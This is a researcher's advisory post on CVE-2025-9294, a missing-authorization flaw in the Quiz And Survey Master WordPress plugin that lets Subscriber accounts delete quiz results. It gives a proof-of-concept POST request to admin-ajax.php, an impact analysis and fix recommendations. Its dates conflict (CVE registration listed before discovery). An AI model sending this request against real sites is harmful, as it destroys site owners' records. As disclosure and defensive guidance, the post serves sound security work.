CVE-2025-9294 affects Quiz And Survey Master QSM and it is a missing authorization vulnerability that allows a low privilege authenticated user to delete quiz results they should never be able to touch. The issue is not about guessing passwords or bypassing login. It is about a server side action that performs a destructive change while trusting that a generic nonce equals permission. On real sites QSM results are often business data. They can represent leads, assessments, training completions, exam attempts, customer feedback, or any workflow where results are used for decisions and reporting. Because the plugin is widely deployed at around 50k plus installs, the scenario of a site with many Subscriber accounts is common, which makes this a realistic integrity and availability problem rather than a purely theoretical one.

CVECVE-2025-9294
Plugin VersionQuiz And Survey Master <= 10.3.1
All Time3 108 304
Active installations50 000+
Publicly PublishedJanuary 5, 2025
Last UpdatedJanuary 5, 2025
ResearcherDmitrii Ignatyev
PoCYes
ExploitNo
Reference https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9294
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/quiz-master-next/quiz-and-survey-master-1031-missing-authorization-to-authenticated-subscriber-quiz-results-deletion
Plugin Security Certification by CleanTalk
Logo of the plugin

Join the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.

PSC by Cleantalk

Timeline

August 13, 2025Plugin testing and vulnerability detection in the QSM have been completed
August 13, 2025I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing
January 5, 2025Registered CVE-2025-9294

Discovery of the Vulnerability

The vulnerable surface is an AJAX endpoint reachable through wp admin admin-ajax. A request with action qsm_dashboard_delete_result and a chosen result_id is sufficient to mark results as deleted when paired with a nonce obtained in an authenticated context. The core flaw is that the handler does not enforce a capability check such as current_user_can against an administrative capability that should be required for managing results. Instead it relies on a nonce, and that nonce is not an authorization mechanism, it is only intended to prove request intent for someone who is already authorized. When capability validation is missing, any user who can obtain the nonce can perform the destructive operation, which creates a direct privilege boundary bypass for result management.

Understanding of IDOR attack’s

verify the user is authorized for that action by checking capabilities and sometimes ownership or object level rules. Second the server should verify request authenticity using a nonce to prevent CSRF and accidental submission. CVE-2025-9294 breaks the first layer, which is the more important one. This is a common plugin mistake where developers treat nonces as security tokens. In reality a nonce can be exposed to roles that can load admin screens, through localized scripts, or through UI elements, and once a low privilege user has it they can call endpoints directly. Real world damage here is not only about losing historical quiz results. It can break compliance audits, destroy training evidence, erase customer survey history, or wipe lead generation trails. Because results are often the only record of a user completing a quiz, deletion becomes a form of business data sabotage rather than a cosmetic website issue

Exploiting the CSRF Vulnerability

To exploit CVE-2025-9294, an attacker with Subscriber+ cookies:

POC:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1/wordpress/wp-admin/
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: Cookie_of_Subscriber
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 63

action=qsm_dashboard_delete_result&result_id={number_from__to_99999}&nonce=nonce_from_profile.php

____

The direct impact is integrity loss. Deleted results mean analytics and reporting become unreliable, and it becomes difficult to prove what happened, especially if the plugin uses soft deletion flags rather than hard deletes. A malicious user can selectively delete only their own failed attempts, or they can delete a competitors results in a training system, or they can delete survey feedback that reflects badly on a product. On sites where QSM is used for exams or certifications, attackers can erase evidence trails and create disputes that are expensive to resolve. There is also a denial of service angle because repeated deletions can keep the results view empty and disrupt normal operations for staff. The low privilege requirement matters because Subscriber accounts can be created at scale through registration, meaning the attacker does not need any special access. This is why the most serious outcome is that a simple registered account can become a tool for continuous data destruction against a core business feature.

Recommendations for Improved Security

The fix is to enforce proper authorization before any deletion occurs. The handler for qsm_dashboard_delete_result should require a strict capability such as manage_options or a plugin specific capability that is granted only to trusted administrative roles, and it should validate that the current user is allowed to delete results in general and optionally restrict deletion to results they own if the feature intends that. The nonce should still be validated, but only as an additional CSRF protection layer after capability checks pass. It is also important to validate result_id as an integer and confirm the result exists before performing mutation, and to log the actor user ID along with the result_id for auditability so administrators can detect suspicious deletion patterns. As an operational mitigation, site owners should reduce who can access QSM admin dashboards, disable unnecessary registration flows, and monitor admin-ajax requests for repeated qsm_dashboard_delete_result actions so that abnormal bulk deletion attempts can be detected quickly.

By taking proactive measures to address IDOR like CVE-2025-9294 WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.

#WordPressSecurity #IDOR #WebsiteSafety #StayProtected #HighVulnerability

Use CleanTalk solutions to improve the security of your website

Dmitrii I.
CVE-2025-9294 – Quiz And Survey Master (QSM) – Missing Authorization to Authenticated (Subscriber+) Quiz Results Deletion – POC

Leave a Reply

Your email address will not be published. Required fields are marked *